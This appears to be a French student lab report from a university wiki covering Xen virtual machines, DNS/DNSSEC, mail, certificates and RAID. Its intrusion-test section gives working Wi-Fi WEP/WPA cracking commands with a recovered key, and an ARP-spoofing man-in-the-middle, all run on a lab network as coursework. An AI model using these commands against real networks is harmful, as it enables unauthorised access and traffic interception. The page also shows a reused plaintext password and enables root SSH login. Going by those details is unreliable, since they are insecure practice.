TP sysres IMA2a5 2020/2021 G2 : Différence entre versions
(→Configuration DNS) |
(→Configuration DNS) |
||
Ligne 163 : | Ligne 163 : | ||
La configuration du DNS ayant été modifier on relance bind9 : <code>service bind9 restart</code> | La configuration du DNS ayant été modifier on relance bind9 : <code>service bind9 restart</code> | ||
+ | |||
+ | Zone inverse permet à partir d'une adresse IP trouvé le nom de domaine. | ||
+ | |||
+ | Sur Gandi.net nous allons renseigné le glue record qui fournit l’adresse IP d’un serveur de noms de façon à ce que le nom de domaine puisse être résolu dans le cas ou ce dernier utilise des serveurs de noms hébergés sous ce même nom de domaine. Donc le GlueRecord va être : "ns.gherbomel.site" | ||
+ | Et dans le menu "Serveur de nom" nous allons mettre en premier : "ns.gherbomel.site" et en deuxième : "ns6.gandi.net" comme cela si un serveur de nom de fonctionne pas l'autre peut prendre le relais. | ||
====Sécurisation du serveur DNS==== | ====Sécurisation du serveur DNS==== |
Version du 3 décembre 2020 à 23:23
Sommaire
Introduction
Présentation du projet
Partie Hardware:
Serveur capbreton
Remplacement du rack dans la baie
Réception des nouveaux berceaux. Nous avons mis les disques durs de 3 To dans les nouveaux berceaux puis nous les avons insérés dans le serveur. Grâce aux voyant lumineux
Prochaine étape: Reboot le serveur pour que les disques soient reconnu par le serveur, peut être aller dans le boot.
Nous devions aussi relier les connexions fibre et cuivre. Mais pour cela, nous devions déterminer quel port correspond avec quelle interface. Pour cela nous avons utilisé la commande ethtool pour faire clignoter le port correspondant à l'interface choisie.
ethtool -p eth7
ethtool -p eth1
Fibre | Cuivre | |
---|---|---|
Eth1 | X | |
Eth7 | X |
Borne Wifi
Machine Virtuelle
Creation machine virtuelle
Connexion au serveur de virtualisation
Dans le cadre de ce TP notre machine virtuelle va être installé sur le serveur nommé Capbreton. Pour procéder à la création de la machine virtuelle nous allons donc nous connecter sur Capbreton par l'intermédiaire de SSH avec la commande suivante :
ssh capbreton.plil.info
Installation de la machine virtuelle
Nous allons utiliser Xen un logiciel de virtualisation qui permet de faire tourner plusieurs machines virtuelle sur une machine. Notre machine possédera les caractéristiques suivantes :
- Nom : concorde
- Adresse IP : 193.48.57.165
- Masque Réseau : 255.255.255.248
- Routeur : 193.48.57.163
La ligne de commande suivante permet la création de la machine avec les caractéristiques défini ci-dessus :
xen-create-image --hostname concorde --ip 193.48.57.165 --netmask 255.255.255.248 --gateway 193.48.57.163 --dir /usr/local/xen --dist beowulf
Pour voir l'avancement de l'installation il suffit de faire la commande:
tail -f /var/log/xen-tools/concorde.cfg
Configuration de la machine virtuelle
Dans cette partie, nous allons procéder à la configuration de la machine virtuelle. Pour cela nous allons devoir modifier le fichier de configuration situé au chemin suivant : /etc/xen/concorde.cfg
Une fois dans le fichier de configuration, il faudra modifier la ligne commençant par vif situé dans la partie "Networking", la ligne doit devenir :
vif = ['mac=16:3E:85:9F:6E, bridge=IMA2a5']
Ensuite, nous avons défini un mot de passe plus simple grâce à la commande : passwd
Pour la suite du TP le mot de passe sera : glopglopglop
Enfin voici quelques commande de base pour utiliser Xen :
- Voir les machine virtuelle démarrées :
xen list
- Démarrer sa machine virtuelle :
xen create /etc/xen/concorde.cfg
- Obtenir le terminal de la machine virtuelle :
xen console concorde
Creation répertoire Home et Var
Creation des volumes logiques
lvcreate -L10G -n concorde-home virtual
lvcreate -L10G -n concorde-var virtual
Les commandes suivantes permettent de formater une partition
mke2fs /dev/virtual/concorde-home
mke2fs /dev/virtual/concorde-var
Dans /etc/xen/concorde.cfg
disk = [ 'file:/usr/local/xen/domains/rafale/disk.img,xvda2,w', 'file:/usr/local/xen/domains/rafale/swap.img,xvda1,w', 'phy:/dev/virtual/rafale-home,xvdb1,w', 'phy:/dev/virtual/rafale-var,xvdb2,w', ]
Le fichier /etc/fstab permet à la machine virtuelle de connaitre l'existence de ses nouveaux espace mémoire, nous devons donc le modifier :
# /etc/fstab: static file system information. # # <file system> <mount point> <type> <options> <dump> <pass> proc /proc proc defaults 0 0 devpts /dev/pts devpts rw,noexec,nosuid,gid=5,mode=620 0 0 /dev/xvda1 none swap sw 0 0 /dev/xvda2 / ext4 noatime,nodiratime,errors=remount-ro 0 1 /dev/xvdb1 /home ext4 defaults 0 2 /dev/xvdb2 /var ext4 defaults 0 2
Enfin pour finaliser l'opération il faut monté le dossier /var. Cependant cela ne peut être fait directement, il faut donc passé par un dossier tampon (ici /mnt)
mount /dev/xvdb2 /mnt mv /var/* /mnt umount /mnt mount -a
Pour être sur que l'opération à correctement été réalisée taper lsblk
qui permet de voir le système de fichier
Activation du SSH
Cela peut être intéressant de pouvoir se connecter directement sur notre machine virtuelle via sont adresse ip pour cela nous devons installer ssh
apt install openssh-server
ensuite il faut modifier un fichier de connexion pour permet l'accès grâce à SSH. Dans le fichier /etc/ssh/sshd_config nous allons décommenter la ligne suivante : permitRootLogin
Ensuite un redémarrage de ssh permettra de prendre en code les nouvelles modification
service ssh restart
Apache
apt install apache2
Nous allons vérifier que le port d'écoute est le 443. Il faut donc aller dans /etc/apache2/ports.conf
On installe openSSL:
apt-get install openssl
Configuration SSH
vi /etc/ssh/ssh_config
- Il faut ensuite dé-commenter la ligne "permitRootLogin" et remplacer par "yes".
- On redémarre le ssh avec la commande
service ssh restart
Configuration DNS
Par l'intermédiaire du site gandi.net, j'ai acheté le nom de domaine "gherbomel.site"
Un serveur DNS permet de faire le lien entre une adresse IP, un nom de domaine pour le mettre en place j'ai modifié le fichier etc/bind/named.conf.options pour qu'il ressemble à cela :
options { directory "/var/cache/bind"; dnssec-validation auto; listen-on-v6 { any; }; allow-transfer { "allowed_to_transfer"; }; }; acl "allowed_to_transfer" { 193.48.57.0/32; };
sudo apt install bind9
La configuration du DNS ayant été modifier on relance bind9 : service bind9 restart
Zone inverse permet à partir d'une adresse IP trouvé le nom de domaine.
Sur Gandi.net nous allons renseigné le glue record qui fournit l’adresse IP d’un serveur de noms de façon à ce que le nom de domaine puisse être résolu dans le cas ou ce dernier utilise des serveurs de noms hébergés sous ce même nom de domaine. Donc le GlueRecord va être : "ns.gherbomel.site" Et dans le menu "Serveur de nom" nous allons mettre en premier : "ns.gherbomel.site" et en deuxième : "ns6.gandi.net" comme cela si un serveur de nom de fonctionne pas l'autre peut prendre le relais.
Sécurisation du serveur DNS
Dans le fichier /etc/bind/named.conf.options ajouter dnssec-enable yes;
Nous allons créer un dossier dans lequel nous allons générer les clés
cd /etc/bind mkdir gherbomel.site.dnssec
Génération des clés:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE gherbomel.site dnssec-keygen -a RSASHA1 -b 1024 -n ZONE gherbomel.site
Avec la commande mv on renomme les fichiers qui seront :
gherbomel.site-ksk.key gherbomel.site-ksk.private gherbomel.site-zsk.key gherbomel.site-zsk.private
On apporte quelques modifications à /etc/bind/db.gherbomel.site:
$include /etc/bind/gherbomel.site.dnssec/gherbomel.site-ksk.key $include /etc/bind/gherbomel.site.dnssec/gherbomel.site-zsk.key
dnssec-signzone -o gherbomel.site -k gherbomel.site-ksk ../db.gherbomel.site gherbomel.site-zsk
Cependant la fonction ne fonctionne pas avec le message d'erreur suivant : No non-KSK DNSKEY found; supply a ZSK or use '-z'.
Par la suite en régénérant les clés cela à fonctionner.
Dans le fichier named.conf.local on modifie la ligne suivante : file "/etc/bind/db.gherbomel.site.signed" Puis faire un service bind restart
Ensuite il faut ajouter les clés ksk dans gandi.net dans l'onglet DNSSEC. Il faut porter une attention à choisir le bon chiffrement (RSA/SHA1) Il faut donc copier le contenu de la commande suivante : cat gherbomel.site-ksk.key
Génération certificat
boite mail : apt install postfix choisir site internet mettre gherbomel.site dans /etc/alliases rajouter la ligne admin: root + commande : "newaliases" on installe mailx avec la commande apt install bsd-mailx
il faut ensuite modifier le fichier /etc/bind/db.gherbomel.site
- passer le parametre version a 2
- ajouter la ligne IN MX 100 ns
- ajouter www IN A 193.48.57.165
ensuite il faut restart le service bind avec service restart bind
je me suis envoyé un mail pour voir si cela fonctionnait. Et j'ai bien reçu le mail
ajouter photo
Grâce à OpenSSL nous allons générer une clé :
- Création d'un dossier qui contiendra le certificat le chemin de ce dossier est /etc/apache2/certificat
- Génération de la clé avec la commande :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout gherbomel.key -out gherbomel.csr
Generating a RSA private key .+++++ ..............+++++ writing new private key to 'gherbomel.key' ----- You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Country Name (2 letter code) [AU]:FR State or Province Name (full name) [Some-State]:Nord Locality Name (eg, city) []:Lille Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech Lille Organizational Unit Name (eg, section) []:IMA2A5 Common Name (e.g. server FQDN or YOUR name) []:gherbomel.site Email Address []:herbomelguillaume@gmail.com Please enter the following 'extra' attributes to be sent with your certificate request A challenge password []:glopglopglop An optional company name []:
- Acheter un certificat:
- Aller sur le site [Gandi.net[1]]
- Aller dans la rubrique Certificat SSL
- Cliquer sur "Acheter"
- Copier la clé générée sur le site web et demander une confirmation par mail qui sera envoyé dans mon cas sur admin@gherbomel.site
-----BEGIN CERTIFICATE REQUEST----- MIIC/jCCAeYCAQAwgZsxCzAJBgNVBAYTAkZSMQ0wCwYDVQQIDAROb3JkMQ4wDAYD VQQHDAVMaWxsZTEXMBUGA1UECgwOUG9seXRlY2ggTGlsbGUxDzANBgNVBAsMBklN QTJBNTEXMBUGA1UEAwwOZ2hlcmJvbWVsLnNpdGUxKjAoBgkqhkiG9w0BCQEWG2hl cmJvbWVsZ3VpbGxhdW1lQGdtYWlsLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEP ADCCAQoCggEBALyUY5/y1jqSKb9ui+5UGO/+C2Ge9Aipcp38YCB9sgb7St7y0DJU EeOTZf2emczzEWmCpIJUVGy0F5xCpC6i1aqUEC6+EsjilsWqFomNVDJUiQwVu+IO PQ/ILaZv/m8+XG0m9NcgkguzIR5Gj1kQYtQYHe7JWgddRzTAE/9+/YtfRW6q0qTF xy94SEpASRhwnEkkCWzS9zZjUnLzlIPFGQXnuEDC2ALOfjURinLaqKCUjrBKkq61 +R8PfUDg+uKuRoz44WXH3xJZmVHSDvjYS8ayuovy/kO8KfI4qFGM8/NBY4CslGWN OzuLCvqWdrJS/18MTtyzD1N0Yl+75PUnro8CAwEAAaAdMBsGCSqGSIb3DQEJBzEO DAxnbG9wZ2xvcGdsb3AwDQYJKoZIhvcNAQELBQADggEBAB9x03pLZaHY2U/pDyjf wnnpoIuuObr+8jZXXhfd0doNdpCLGP7PPw728KpMTy+rfuO6e1OfJqxCuMOwTJj+ KNnWsNKdwub+Hi90sxPF+ZKPAt6VmjSSNHckaO9ujp1Ynag2wn1HNA7bMICd4zfo A5mt/CRgddKmNnuijckkwzzvXEe+Eia66qAjDyC2ThZQQ2xZcFa/Zu7u4kH99WrK f1TN9vxSrZ1uuu3/PwXMmfzhMMolhJuSQcHLglAzKfXJ8uzQS6fuNeH1TB3YcV8S Z3Yb583DmqK0RDx9cqFizl2ThXxo3D5bwCv96wmy0grhVRKOridbZVI3XjVDi4ci vRc= -----END CERTIFICATE REQUEST-----
- Créer une boite mail pour l'adresse admin@gherbomel.site Etape devant fonctionner avant achat du certificat
- Installation de postfix
apt install postfix
- choisir site internet
- mettre gherbomel.site
- Dans
/etc/alliases
rajouter la ligneadmin: root
- Puis entrer la commande :
newaliases
- Installation de postfix
on installe mailx avec la commande apt install bsd-mailx
il faut ensuite modifier le fichier /etc/bind/db.gherbomel.site
- passer le parametre version a 2
- ajouter la ligne IN MX 100 ns
- ajouter www IN A 193.48.57.165
ensuite il faut restart le service bind avec service restart bind
je me suis envoyé un mail pour voir si cela fonctionnait. Et j'ai bien reçu le mail
ajouter photo ensuite on reçoit un mail de confirmation avec un lien et un mot de passe.
Il faudra download deux fichiers et les mettres dans ....
Tests d'intrusion
Pour cracker le wifi nous allons installer aircrack-ng
apt-get aircrack-ng
Il faut faire en sorte que le firmware de la clé WIFI soit installé
apt-get install firmware-linux-nonfree
WEP
Dans cette partie, nous allons cracker le mot de passe du wifi. Pour faire cela aircrack va collecter un nombre suffisant de paquet pour retrouver le mot de passe.
Avec la commande :
ip-l
nous allons conntaire les différentes interfaces.
Ensuite nous allons activer le mode moniteur de l'interface avec la commande suivante :
sudo airmon-ng start wlx40a5ef05a110
Avec la commande :
sudo airmon-ng
nous pouvons voir tous les paquets
Nous allons regarder plus particulièrement sur l'interface wlan0mon, le canal 9 avec le SSID 04:DA:D2:9C:50:51 et envoyer les résultats dans un fichier nommé dataCrack.txt
airodump-ng wlan0mon -c 9 --bssid 04:DA:D2:9C:50:51 --write dataCrack.txt
A partir de la commande suivante :
aircrack-ng dataCrack.txt-02.cap
le programme va chercher la clé WEP. Il est possible qu'il n'y est pas assez de paquet, il faudra donc attendre le temps qu'il y est le nombre suffisant de paquets.
WPA
Grâce à cette commande nous allons rechercher le paquet avec le handshake :
airodump-ng -c 4 --bssid 00:14:1B:60:8C:21 --write dataCrackWPA
On va génerer un dictionnaire de code ayant 8 caractères comprenant les caractères 0,1,2,3,4,5,6,7,8,9
crunch 8 8 0123456789 >> Dictionnaire.txt
La commande suivante permettra de faire une attaque par force brute :
aircrack -ng -b 00:14:1B:60:8C:21 -w Dictionnaire.txt dataCrackWPA-01.cap
Pour améliorer le temps de résolution qui est de l'ordre de 5 heures, nous pouvons subdiviser le dictionnaire et tester à partir d'autres machines
Aircrack-ng 1.5.2
[01:02:31] 20127478/102795810 keys tested (2803.06 k/s)
Time left: 8 hours, 11 minutes, 32 seconds 19.58%
KEY FOUND! [ 20111111 ]
Master Key : B2 87 CD DD 51 07 AE 60 27 DF EC 8F 90 28 7D 85 DE DC 38 A4 66 39 28 A5 27 75 73 78 F1 71 FA F5
Transient Key : 0D AE D1 8A 3C 3C 2C 20 5B 4A 88 05 B6 FA CD C2 91 2F 6B 4A FE B5 68 05 C3 86 92 C3 EC 11 A3 E3 F0 1B BD 8C 18 87 F4 5E 60 59 D8 7A E9 2B D2 FB 00 27 28 84 9E 12 4A EA 5E BC 2F 29 36 0F 0F 0E
EAPOL HMAC : 83 15 59 EA 43 52 95 38 E2 C6 AD 8F 2F 37 90 29
L'homme du milieu
Pour modifier la variable /proc/sys/net/ipv4/ip_forward il faut faire la commande :
echo 1 > /proc/sys/net/ipv4/ip_forward
On se fait passer pour le routeur au près de zabeth03 :
arpspoof -t zabeth03 -i bridge 172.26.145.254
A partir de ce moment l'ordinateur se fait passer pour le routeur, nous pouvons donc voir le contenu des messages envoyé depuis une page en html
Rajouter IMAGE
Sécurisation de données
on crée 3 partitions de 1GO pour faire du raid5 expliquer briefement ce qu'est le raid5
lvcreate -L1G -n ima2a5-concorde-d1 virtual lvcreate -L1G -n ima2a5-concorde-d2 virtual lvcreate -L1G -n ima2a5-concorde-d3 virtual
mke2fs /dev/virtual/ima2a5-concorde-d1 mke2fs /dev/virtual/ima2a5-concorde-d2 mke2fs /dev/virtual/ima2a5-concorde-d3
on fait halt sur la machine virtuelle puis on redemarre concorde à partir de capbreton
Chiffrement de données
RAID5 :
apt-get install mdadm
mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5
Le volume du RAID doit faire 2/3 du total des partitions donc 2 Go et on retrouve bien cela en faisait lsblk.
mdadm: /dev/xvdb3 appears to contain an ext2fs file system
size=1048576K mtime=Thu Jan 1 00:00:00 1970
mdadm: /dev/xvdb4 appears to contain an ext2fs file system
size=1048576K mtime=Thu Jan 1 00:00:00 1970
mdadm: /dev/xvdb5 appears to contain an ext2fs file system
size=1048576K mtime=Thu Jan 1 00:00:00 1970
https://doc.ubuntu-fr.org/raid_logiciel
Ensuite on fait la deamonisation pour qu'il soit lancé à chaque démarrage
sudo mdadm --daemonise /dev/md0
Chiffrement clé usb:
apt install lvm2
apt install cryptsetup